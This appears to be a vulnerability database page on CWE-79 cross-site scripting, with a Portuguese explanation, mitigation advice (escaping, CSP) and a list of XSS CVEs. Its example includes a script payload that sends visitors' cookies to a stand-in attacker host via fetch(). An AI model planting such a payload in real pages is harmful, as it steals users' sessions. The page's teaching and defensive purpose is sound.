Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-115534MEDIUMgedelumbung HospitalManagement Contact Form contact.php kirim cross site scriptingEPSS 0.3%CVE-2024-4432MEDIUMPiotnet Addons For Elementor <= 2.4.26 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2024-6539MEDIUMheyewei SpringBootCMS Guestbook guestbook cross site scriptingEPSS 0.3%CVE-2024-32815MEDIUMWordPress All-in-one Like Widget plugin <= 2.2.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4458MEDIUMThemesflat Addons For Elementor <= 2.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via URLsEPSS 0.3%CVE-2024-8915MEDIUMCategory Icon <= 1.0.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2023-0828MEDIUMStored Cross Site Scripting in syslog sectionEPSS 0.3%CVE-2024-27095MEDIUMDecidim cross-site scripting (XSS) in the admin panelEPSS 0.3%CVE-2025-69848MEDIUMNetBox is an open-source infrastructure resource modeling and IP address management platform. A reflected cross-site scripting (XSS) vulneraEPSS 0.3%CVE-2024-32674MEDIUMHeateor Social Login WordPress prior to 1.1.32 contains a cross-site scripting vulnerability. If this vulnerability is exploited, an arbitraEPSS 0.3%CVE-2022-34451MEDIUM PowerPath Management Appliance with versions 3.3 & 3.2*, 3.1 & 3.0* contains a Stored Cross-site Scripting Vulnerability. An authenticated EPSS 0.3%CVE-2025-5007MEDIUMPart-DB Profile Picture Feature AttachmentSubmitHandler.php handleUpload cross site scriptingEPSS 0.3%CVE-2024-3925MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via onclick eventsEPSS 0.3%CVE-2024-6229MEDIUMStored XSS in stangirard/quivrEPSS 0.3%CVE-2025-53369HIGHCitizen Short Description stored XSS vulnerability through wikitextEPSS 0.3%CVE-2023-32087MEDIUM Pega Platform versions 8.1 to Infinity 23.1.0 are affected by an XSS issue with task creation EPSS 0.3%CVE-2026-36468MEDIUMCross-site Scripting (XSS) in index.php in CuteNews v.2.1.2 allows remote unauthenticated attackers to supply an arbitrarily named URL paramEPSS 0.3%CVE-2025-0369MEDIUMJet Engine <= 3.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via list_tag ParameterEPSS 0.3%CVE-2024-3603MEDIUMOSM – OpenStreetMap <= 6.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-42678MEDIUMCross Site Scripting vulnerability in Super easy enterprise management system v.1.0.0 and before allows a local attacker to execute arbitrarEPSS 0.3%